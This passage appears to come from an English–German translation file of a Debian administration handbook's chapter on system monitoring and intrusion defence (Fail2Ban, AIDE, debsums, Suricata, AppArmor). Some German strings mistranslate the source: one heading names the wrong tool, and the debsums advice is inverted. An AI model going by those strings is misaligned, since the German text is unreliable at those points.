de-DE: Wenn das System überlastet zu sein scheint, ist <command>top</command> ein großartiges Instrument, um zu sehen, welche Prozesse um die Prozessorzeit konkurrieren oder zu viel Speicher verbrauchen. Insbesondere ist es häufig interessant zu überprüfen, ob die Prozesse, die Ressourcen verbrauchen, den tatsächlichen Diensten entsprechen, die der Rechner bekanntermaßen beherbergt. Ein unbekannter Prozess, der unter dem Benutzernamen www-data läuft, sollte wirklich hervorstechen und kann untersucht werden, da er möglicherweise ein Programm ist, das durch eine Schwachstelle in einer Web-Anwendung auf dem System installiert wurde und ausgeführt wird.

en: <command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
de-DE: <command>top</command> ist ein sehr flexibles Hilfsprogramm und seine Handbuchseite beschreibt ausführlich, wie seine Anzeige individuell eingerichtet und an persönliche Bedürfnisse und Gewohnheiten angepasst werden kann.

en: The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features.
de-DE: Das grafische Hilfsprogramm <command>gnome-system-monitor</command> ist <command>top</command> ähnlich und bietet etwa die gleichen Leistungsmerkmale.

en: History
de-DE: Verlauf

en: <primary>activity, history</primary>
de-DE: <primary>Aktivität, Verlauf</primary>

en: Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
de-DE: Prozessorauslastung, Netzwerkverkehr und freier Plattenplatz sind Informationen, die sich ständig ändern. Es ist häufig nützlich, den Verlauf ihrer Entwicklung festzuhalten, um genau feststellen zu können, wie der Rechner genutzt wird.

en: There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
de-DE: Für diese Aufgabe gibt es zahlreiche spezialisierte Hilfsprogramme. Die meisten von ihnen können Daten über SNMP (<emphasis>Simple Network Management Protocol</emphasis>) einholen, um diese Informationen an einer Stelle zusammenzufassen. Ein weiterer Nutzen besteht darin, dass auf diese Weise Daten von Netzwerkelementen eingeholt werden können, die keine Universalrechner sind, wie spezialisierte Netzwerkrouter oder -switche.

en: This book deals with Munin in some detail (see <xref linkend="sect.munin" />) as part of <xref linkend="advanced-administration" xrefstyle="select: label quotedtitle" />. Debian also provides a similar tool, <emphasis role="pkg">cacti</emphasis>. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>) should be considered a prerequisite.
de-DE: Dieses Buch behandelt Munin ausführlich als Teil von <xref linkend="advanced-administration" xrefstyle="select: label quotedtitle" /> (siehe <xref linkend="sect.munin" />). Debian stellt ebenfalls ein ähnliches Hilfsprogramm bereit: <emphasis role="pkg">cacti</emphasis>. Sein Einsatz ist etwas komplizierter, da es ausschließlich auf SNMP beruht. Obwohl es eine Web-Schnittstelle hat, benötigen das Verständnis der Konzepte, die für die Konfigurierung verwendet werden, noch einige Anstrengungen. Die Lektüre der HTML-Dokumentation (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>) ist daher als Voraussetzung anzusehen.

en: <command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
de-DE: <command>mrtg</command> (in dem Paket ähnlichen Namens) ist ein älteres Hilfsprogramm. Trotz einiger Ecken und Kanten kann es Verlaufsdaten zusammenfassen und als Diagramme anzeigen. Es enthält eine Reihe spezieller Skripte zur Sammlung der am häufigsten überprüften Daten wie Prozessorlast, Netzwerkverkehr, Webseitenzugriffe und so weiter.

en: The <emphasis role="pkg">mrtg-contrib</emphasis> and <emphasis role="pkg">mrtgutils</emphasis> packages contain example scripts that can be used directly.
de-DE: Die Pakete <emphasis role="pkg">mrtg-contrib</emphasis> und <emphasis role="pkg">mrtgutils</emphasis> enthalten Beispielskripte, die direkt verwendet werden können.

en: Avoiding Intrusion
de-DE: Eindringen vermeiden

en: <primary>intrusion detection</primary>
de-DE: <primary>Einbruchserkennung</primary>

en: <filename>fail2ban.conf</filename>. Global configuration (such as logging).
de-DE: <filename>fail2ban.conf</filename>. Globale Konfiguration (wie z.B. Protokollierung).

en: <filename>filter.d/*.conf</filename>. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.
de-DE: <filename>filter.d/*.conf</filename>. Filter, die angeben, wie Authentifizierungsfehler erkannt werden können. Das Debian-Paket enthält bereits Filter für viele gängige Programme.

en: <filename>jail.conf</filename>. It is where <emphasis>jails</emphasis>, the combinations of filters and actions, are defined.
de-DE: <filename>jail.conf</filename>. Hier werden <emphasis>jails</emphasis>, die Kombinationen von Filtern und Aktionen, definiert.

en: Let us have a look at the configuration of <command>sshd</command> in <filename>/etc/fail2ban/jail.conf</filename> to better understand how Fail2Ban works...
de-DE: Werfen wir einen Blick auf die Konfiguration von <command>sshd</command> in <filename>/etc/fail2ban/jail.conf</filename>, um besser zu verstehen, wie Fail2Ban funktioniert...

en: Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.
de-DE: Fail2Ban ist ein sehr einfacher und effektiver Weg, um sich gegen die häufigsten Brute-Force-Angriffe zu schützen, aber es kann nicht vor verteilten Brute-Force-Angriffen schützen, d.h. wenn ein Angreifer eine große Anzahl von Rechnern nutzt, die über das Internet verteilt sind.

en: A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.
de-DE: Eine gute Möglichkeit, zusätzlichen Schutz gegen verteilte Brute-Force-Angriffe zu bieten, besteht darin, die Anmeldezeit nach jedem fehlgeschlagenen Versuch künstlich zu verlängern.

en: Detecting Changes
de-DE: Änderungen erkennen

en: Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).
de-DE: Sobald das System installiert und konfiguriert ist, gibt es, abgesehen von Sicherheitsupgrades, für die meisten Dateien und Verzeichnisse in der Regel keinen Grund mehr, sich weiterzuentwickeln, Daten ausgenommen. Es ist daher interessant, sich zu vergewissern, dass sich die Dateien tatsächlich nicht ändern: Jede unerwartete Änderung wäre daher eine Untersuchung wert. In diesem Abschnitt werden einige Werkzeuge vorgestellt, die in der Lage sind, Dateien zu überwachen und den Administrator zu warnen, wenn eine unerwartete Änderung eintritt (oder einfach, um solche Änderungen aufzulisten).

en: Auditing Packages with <command>dpkg --verify</command>
de-DE: Pakete mit <command>logcheck</command> prüfen

en: <emphasis>GOING FURTHER</emphasis> Protecting against upstream changes
de-DE: <emphasis>WEITERE SCHRITTE</emphasis> Schutz vor vorgelagerten Veränderungen

en: <command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.
de-DE: <command>dpkg --verify</command> (oder <command>dpkg -V</command>) ist ein interessantes Tool, weil es herausfindet welche installierten Dateien (möglicherweise von einem Angreifer) modifiziert wurden aber dies sollte man nicht für bare Münze nehmen. Um seine Arbeit zu verrichten, bezieht es sich auf Prüfsummen i der dpkg eigenen Datenbank welche auf der lokalen Festplatte liegt (man findet sie unter <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>). Ein gründlicher Angreifer wird diese Dateien also mit den neuen Prüfsummen der manipulierten Dateien aktualisieren.

en: <emphasis>BACK TO BASICS</emphasis> File fingerprint
de-DE: <emphasis>ZURÜCK ZU DEN GRUNDLAGEN</emphasis> Dateifingerabdruck

en: <primary>fingerprint</primary>
de-DE: <primary>Fingerabdruck</primary>

en: Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).
de-DE: Das Ausführen von <command>dpkg -V</command> überprüft alle installierten Pakete und gibt eine Zeile pro Datei mit fehlgeschlagenem Test aus. Das Ausgabeformat ist das gleiche wie das von <command>rpm -V</command>, wobei jedes Zeichen einem Test auf bestimmte Metadaten entspricht. Leider speichert <command>dpkg</command> die für die meisten Tests benötigten Metadaten nicht und gibt daher Fragezeichen aus. Derzeit kann nur der Prüfsummentest eine "5" für das dritte Zeichen ergeben (wenn er fehlschlägt).

en: Auditing Packages: <command>debsums</command> and its Limits
de-DE: Pakete auditieren: <command>debsums</command> und seine Grenzen

en: Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.
de-DE: Weil man den Daten auf der Festplatte nicht trauen kann, ermöglicht <command>debsums</command> Prüfungen basierend auf <filename>.deb</filename> Dateien anstatt sich auf die dpkg Datenbank zu verlassen. Um gesicherte <filename>.deb</filename> Dateien für alle installierten Pakete herunterzuladen können wir uns auf die von APT beglaubigten Downloads verlassen. Diese Aktion kann sehr langsam und langwierig sein und sollte daher als proaktive Technik in Betracht gezogen werden und nicht regelmäßig verwendet werden.

en: Note that this example uses the <command>grep-status</command> command from the <emphasis role="pkg">dctrl-tools</emphasis> package, which is not installed by default.
de-DE: Man beachte, dass in diesem Beispiel der Befehl <command>grep-status</command> aus dem Paket <emphasis role="pkg">grep-dctrl</emphasis> verwendet wird, das nicht standardmäßig installiert ist.

en: Monitoring Files: AIDE
de-DE: Dateien überwachen: AIDE

en: The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email.
de-DE: Das Hilfsprogramm AIDE (<emphasis>Advanced Intrusion Detection Environment</emphasis>) ermöglicht es, die Unversehrtheit von Dateien zu überprüfen und jede Veränderung durch einen Vergleich mit einem zuvor festgehaltenen Abbild des intakten Systems zu entdecken. Dieses Abbild ist als Datenbank (<filename>/var/lib/aide/aide.db</filename>) abgespeichert, die relevante Informationen über alle Dateien des Systems enthält (Fingerabdrücke, Berechtigungen, Zeitstempel und so weiter). Diese Datenbank wird erstmals mit dem Befehl <command>aideinit</command> initialisiert; sie wird dann täglich (mit dem Skript <filename>/etc/cron.daily/aide</filename>) genutzt, um nachzuprüfen, dass sich nichts Relevantes verändert hat. Wenn Veränderungen entdeckt werden, hält AIDE diese in Protokolldateien fest (<filename>/var/log/aide/*.log</filename>) und sendet seine Befunde per E-Mail an den Administrator.

en: <emphasis>IN PRACTICE</emphasis> Protecting the database
de-DE: <emphasis>IN DER PRAXIS</emphasis> Die Datenbank schützen

en: Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
de-DE: Da AIDE eine lokale Datenbank nutzt, um den Status der Dateien zu vergleichen, ist die Gültigkeit seiner Ergebnisse direkt an die Gültigkeit der Datenbank gebunden. Falls ein Angreifer auf einem kompromittierten System Administratorrechte erlangt, ist er in der Lage, die Datenbank auszutauschen und so seine Spuren zu verwischen. Eine mögliche Behelfslösung könnte darin bestehen, die Referenzdaten auf einem schreibgeschützten Medium zu speichern.

en: Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role="pkg">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended.
de-DE: Viele Optionen in <filename>/etc/default/aide</filename> können dazu verwendet werden, das Verhalten des Pakets <emphasis role="pkg">aide</emphasis> zu justieren. AIDEs eigentliche Konfiguration ist in <filename>/etc/aide/aide.conf</filename> und <filename>/etc/aide/aide.conf.d/</filename> gespeichert (diese Dateien werden genau genommen nur von <command>update-aide.conf</command> dazu benutzt, die Datei <filename>/var/lib/aide/aide.conf.autogenerated</filename> zu erstellen). Die Konfiguration gibt an, welche Eigenschaften welcher Dateien überprüft werden sollen. Der Inhalt von Protokolldateien verändert sich zum Beispiel regelmäßig und derartige Veränderungen können ignoriert werden, solange die Berechtigungen dieser Dateien die gleichen bleiben. Aber sowohl der Inhalt als auch die Berechtigungen von ausführbaren Dateien müssen unverändert bleiben. Obwohl die Konfigurationssyntax nicht sehr komplex ist, ist sie nicht völlig intuitiv. Daher wird empfohlen, die Handbuchseite <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> zu lesen.

en: A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database.
de-DE: Eine neue Version der Datenbank wird täglich in <filename>/var/lib/aide/aide.db.new</filename> erstellt; falls alle aufgenommenen Veränderungen legitim waren, kann sie als Ersatz für die Referenzdatenbank verwendet werden.

en: <emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain
de-DE: <emphasis>ALTERNATIVE</emphasis> Tripwire und Samhain

en: Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role="pkg">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
de-DE: Tripwire ist AIDE sehr ähnlich; selbst die Syntax der Konfigurationsdatei ist fast die gleiche. Die Hauptergänzung, die von <emphasis role="pkg">tripwire</emphasis> bereitgestellt wird, ist ein Verfahren, die Konfigurationsdatei zu signieren, so dass ein Angreifer mit ihr nicht auf eine andere Version der Referenzdatenbank verweisen kann.

en: Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature).
de-DE: Samhain bietet ebenfalls ähnliche Leistungsmerkmale, sowie einige Funktionen, um Rootkits zu entdecken (siehe Seitenleiste <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). Es kann auch netzwerkweit eingesetzt werden und seine Spuren (mit einer Signatur) auf einem zentralen Server festhalten.

en: <emphasis>QUICK LOOK</emphasis> The <emphasis role="pkg">checksecurity</emphasis> and <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> packages
de-DE: <emphasis>KURZER BLICK</emphasis> Die Pakete <emphasis role="pkg">checksecurity</emphasis> und <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis>

en: The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
de-DE: Das erste dieser Pakete enthält verschiedene kleine Skripte, die grundlegende Prüfungen des Systems durchführen (leere Passwörter, neue setuid-Dateien usw.) und den Administrator, falls nötig, warnen. Allerdings sollte sich trotz seines eindeutigen Namens kein Administrator nur auf dieses Paket verlassen, wenn er dafür sorgen möchte, dass ein Linux-System sicher ist.

en: The <emphasis role="pkg">chkrootkit</emphasis> and <emphasis role="pkg">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
de-DE: Die Pakete <emphasis role="pkg">chkrootkit</emphasis> und <emphasis role="pkg">rkhunter</emphasis> ermöglichen es, nach möglicherweise auf dem System installierten <emphasis>Rootkits</emphasis> Ausschau zu halten. Zur Erinnerung: dies sind Programme, die dazu bestimmt sind, die Kompromittierung eines Systems zu verbergen und gleichzeitig diskret den Rechner im Griff zu halten. Die Tests sind nicht zu 100% zuverlässig, aber sie können gewöhnlich die Aufmerksamkeit des Administrators auf die möglichen Probleme lenken.

en: <emphasis role="pkg">rkhunter</emphasis> also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.
de-DE: <emphasis role="pkg">rkhunter</emphasis> führt auch Überprüfungen durch, um festzustellen, ob Befehle geändert wurden, ob Systemstartdateien geändert wurden, sowie verschiedene Überprüfungen an den Netzwerkschnittstellen, einschließlich Überprüfungen für lauschende Anwendungen.

en: Detecting Intrusion (IDS/NIDS)
de-DE: Eindringen entdecken (IDS/NIDS)

en: <emphasis>BACK TO BASICS</emphasis> Denial of service
de-DE: <emphasis>ZURÜCK ZU DEN GRUNDLAGEN</emphasis> Denial of Service

en: A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
de-DE: Ein „Denial-of-Service“-Angriff hat nur ein Ziel: einen Dienst nicht verfügbar zu machen. Ob ein solcher Angriff nun darin besteht, den Server mit Anfragen zu überlasten oder einen Fehler auszunutzen, das Ergebnis ist das gleiche: der Dienst ist nicht mehr funktionsfähig. Die normalen Benutzer sind unzufrieden und der Ruf der Organisation, die den angegriffenen Netzwerkdienst bereitstellt, erleidet Schaden (und verliert möglicherweise Einnahmen, falls zum Beispiel der Dienst eine E-Commerce-Website war).

en: Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not).
de-DE: Solch ein Angriff erfolgt manchmal „verteilt“; dazu gehört es normalerweise, den Server mit einer großen Anzahl von Anfragen, die von vielen verschiedenen Quellen kommen, zu überlasten, so dass der Server nicht mehr imstande ist, die seriösen Anfragen zu beantworten. Diese Art von Angriffen hat bekannte Abkürzungen erhalten: <acronym>DDoS</acronym> und <acronym>DoS</acronym> (je nachdem, ob der Denial-of-Service-Angriff verteilt ist oder nicht).

en: <emphasis>CAUTION</emphasis> Range of action
de-DE: <emphasis>VORSICHT</emphasis> Wirkungsbereich

en: The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.
de-DE: Die Effektivität von <command>suricata</command> wird durch den Datenverkehr begrenzt, der an der überwachten Netzwerk-Schnittstelle sichtbar ist. Es kann natürlich nichts entdecken, wenn es den tatsächlichen Datenverkehr nicht beobachten kann. Wenn es an einen Netzwerkswitch angeschlossen ist, wird es daher nur Angriffe überwachen, die auf den Rechner, auf dem es läuft, abzielen, was möglicherweise nicht die Absicht ist. Der Rechner, der <command>suricata</command> beherbergt, sollte daher an den „Spiegel“-Port des Switches angeschlossen werden, der normalerweise speziell dafür vorgesehen ist, Switche zu verketten und daher allen Datenverkehr erhält.

en: To detect bad behavior, <command>suricata</command> needs a set of monitoring rules: you can find such rules in the <emphasis role="pkg">snort-rules-default</emphasis> package. <command>snort</command> is the historical reference in the IDS ecosystem and <command>suricata</command> is able to reuse rules written for it.
de-DE: <command>Suricata</command> muss einen Satz an Monitoring-Regeln erstellen, um bösartiges Verhalten zu entdecken: Man findet solche Regeln im <emphasis role="pkg">snort-rules-default</emphasis> Paket. <command>Snort</command> ist historisch die Referenz im IDS-Ökosystem und <command>suricata</command> kann die Regelsätze, die für Snort geschrieben wurden, weiterverwenden.

en: <emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>
de-DE: <emphasis>WEITERE SCHRITTE</emphasis> Integration mit <command>prelude</command>

en: Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types.
de-DE: Prelude ermöglicht eine zentralisierte Überwachung von Sicherheitsinformationen. Seine modulare Architektur enthält einen Server (den <emphasis>Manager</emphasis> im Paket <emphasis role="pkg">prelude-manager</emphasis>), der Alarmmeldungen sammelt, die von verschiedenen Arten von <emphasis>Sensoren</emphasis> erzeugt werden.

en: Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend="sect.logcheck" />).
de-DE: Suricata kann als ein solcher Sensor konfiguriert werden. Eine andere Möglichkeit ist <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>), das Protokolldateien überwacht (in ähnlicher Weise wie das in <xref linkend="sect.logcheck" /> beschriebene <command>logcheck</command>).

en: Introduction to AppArmor
de-DE: Einführung in AppArmor

en: Principles
de-DE: Prinzipien

en: AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.
de-DE: AppArmor ist ein <emphasis>Mandatory Access Control</emphasis> System (MAC), das auf der LSM-Schnittstelle (<emphasis>Linux Security Modules</emphasis>) von Linux aufbaut. In der Praxis befragt der Kernel AppAmor vor jedem Systemaufruf, um herauszufinden, ob der Prozess autorisiert ist, den jeweiligen Vorgang auszuführen.

en: AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in <xref linkend="sect.selinux" />), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).
de-DE: AppArmor wendet eine Reihe von Regeln (bekannt als "Profil") auf jedes Programm an. Das vom Kernel verwendete Profil hängt vom Installationspfad des ausgeführten Programms ab. Im Gegensatz zu SELinux (beschrieben in <xref linkend="sect.selinux" />) sind die angewandten Regeln nicht vom Benutzer abhängig. Alle Benutzer haben die gleichen Regeln, wenn sie das gleiche Programm ausführen (aber die traditionellen Benutzerberechtigungen gelten weiterhin und können zu unterschiedlichem Verhalten führen!).

en: AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.
de-DE: AppArmor-Profile werden in <filename>/etc/apparmor.d/</filename> gespeichert und enthalten eine Liste von Zugriffskontrollregeln für Ressourcen, die jedes Programm verwenden kann. Die Profile werden mit dem Befehl <command>apparmor_parser</command> in den Kernel geladen. Jedes Profil kann entweder im Erzwingungs- oder im Beschwerdemodus geladen werden. Ersterer setzt die Richtlinie durch und meldet Verstöße, während Letzterer die Richtlinie nicht durchsetzt, aber dennoch die Systemaufrufe protokolliert, die abgelehnt worden wären.

en: Enabling AppArmor and managing AppArmor profiles
de-DE: AppArmor Profile einschalten und verwalten

en: AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing <command>apt install apparmor apparmor-profiles apparmor-utils</command> with root privileges.
de-DE: AppArmor-Unterstützung ist in den von Debian bereitgestellten Standard-Kernel eingebaut. Das Aktivieren von AppArmor ist daher nur eine Frage der Installation einiger Pakete durch Ausführen von <command>apt install apparmor apparmor-profiles apparmor-utils</command> mit Root-Rechten.

en: AppArmor is functional after the installation, and <command>aa-status</command> will confirm it quickly:
de-DE: AppArmor ist nach der Installation funktionsfähig und <command>aa-status</command> bestätigt dies schnell:

en: <emphasis>NOTE</emphasis> More AppArmor profiles
de-DE: <emphasis>HINWEIS</emphasis>Wetere AppArmor-Profile

en: The <emphasis role="pkg">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role="pkg">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian.
de-DE: Das Paket <emphasis role="pkg">apparmor-profiles</emphasis> enthält Profile, die von der vorgelagerten AppArmor-Community verwaltet werden. Um noch mehr Profile zu erhalten, können Sie <emphasis role="pkg">apparmor-profiles-extra</emphasis> installieren, das von Ubuntu und Debian entwickelte Profile enthält.

en: The state of each profile can be switched between enforcing and complaining with calls to <command>aa-enforce</command> and <command>aa-complain</command> giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with <command>aa-disable</command> or put in audit mode (to log accepted system calls too) with <command>aa-audit</command>.
de-DE: Der Zustand jedes Profils kann mit Aufrufen von <command>aa-enforce</command> und <command>aa-complain</command> zwischen Erzwingen und Beschweren umgeschaltet werden, wobei als Parameter entweder der Pfad der ausführbaren Datei oder der Pfad zur Policy-Datei angegeben wird. Zusätzlich kann ein Profil mit <command>aa-disable</command> vollständig deaktiviert werden oder mit <command>aa-audit</command> in den Audit-Modus versetzt werden (um auch akzeptierte Systemaufrufe zu protokollieren).

en: Creating a new profile
de-DE: Ein neues Profil erstellen

en: Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
de-DE: Obwohl die Erstellung eines AppArmor-Profils recht einfach ist, haben die meisten Programme keins. Dieser Abschnitt zeigt Ihnen, wie Sie ein neues Profil von Grund auf neu erstellen, indem Sie das Zielprogramm verwenden und AppArmor den Systemaufruf und die Ressourcen, auf die es zugreift, überwachen lassen.

en: The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection.
de-DE: Die wichtigsten Programme, die eingeschränkt werden sollen, sind die Programme, die mit dem Netzwerk verbunden sind, da diese die wahrscheinlichsten Ziele von entfernten Angreifern sind. Das ist der Grund, warum AppArmor bequem einen Befehl <command>aa-unconfined</command> zur Verfügung stellt, um die Programme aufzulisten, die kein zugehöriges Profil haben und einen offenen Netzwerk-Socket anbieten. Mit der Option <literal>--paranoid</literal> erhalten Sie alle unbeschränkten Prozesse, die mindestens eine aktive Netzwerkverbindung haben.

en: The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).
de-DE: Das erste erkannte Ereignis ist die Ausführung eines anderen Programms. In diesem Fall haben Sie mehrere Möglichkeiten: Sie können das Programm mit dem Profil des übergeordneten Prozesses ausführen (Auswahl "Vererben"), Sie können es mit einem eigenen Profil ausführen (Auswahl "Profil" und "Benannt", die sich nur durch die Möglichkeit unterscheiden, einen beliebigen Profilnamen zu verwenden), Sie können es mit einem Unterprofil des übergeordneten Prozesses ausführen (Auswahl "Kind"), Sie können es ohne Profil ausführen (Auswahl "Unbegrenzt") oder Sie können entscheiden, es überhaupt nicht auszuführen (Auswahl "Verweigern").

en: Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.
de-DE: Beachten Sie, dass das Tool, wenn Sie es unter einem speziellen, not nicht existierenden Profil ausführen, das fehlende Profil für Sie erstellt und Regelvorschläge für dieses Profil im selben Lauf macht.

en: At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.
de-DE: Auf der Kernel-Ebene wurden die speziellen Befugnisse des root-Benutzers in "Fähigkeiten" aufgeteilt. Wenn ein Systemaufruf eine bestimmte Fähigkeit erfordert, prüft AppArmor, ob das Profil dem Programm erlaubt, diese Fähigkeit zu nutzen.

en: Here the program seeks read permissions for <filename>/etc/ssl/openssl.cnf</filename>. <command>aa-genprof</command> detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include &lt;abstractions/openssl&gt;” choice and then “A” to allow it.
